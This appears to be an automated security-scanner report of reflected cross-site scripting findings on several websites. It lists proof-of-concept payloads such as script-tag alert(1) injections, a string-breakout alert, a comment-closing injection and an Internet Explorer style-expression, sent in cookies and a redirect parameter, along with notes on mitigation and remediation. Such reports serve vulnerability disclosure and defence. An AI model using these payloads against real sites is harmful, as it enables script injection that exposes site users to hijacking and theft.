This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href='https://www.familysecure.com/Order1.aspx?areaid=22&pkgid=F1DCN98a1d'style='x:expression(alert(1))'00f5882e45c'>he ...[SNIP]...
The value of the sMkeyword cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfe3a"><script>alert(1)</script>59f51752f8 was submitted in the sMkeyword cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the sMsource cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73468"><script>alert(1)</script>2a7514ba6f was submitted in the sMsource cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the sMkeyword cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74603"><script>alert(1)</script>957e85b3011 was submitted in the sMkeyword cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the sMsource cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2287"><script>alert(1)</script>7e514b13d5d was submitted in the sMsource cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the NCREmail cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4dccb"%3balert(1)//df4737eaa3 was submitted in the NCREmail cookie. This input was echoed as 4dccb";alert(1)//df4737eaa3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the WineEnthusiast1 cookie is copied into an HTML comment. The payload 94330--><script>alert(1)</script>c78f6457a5e was submitted in the WineEnthusiast1 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.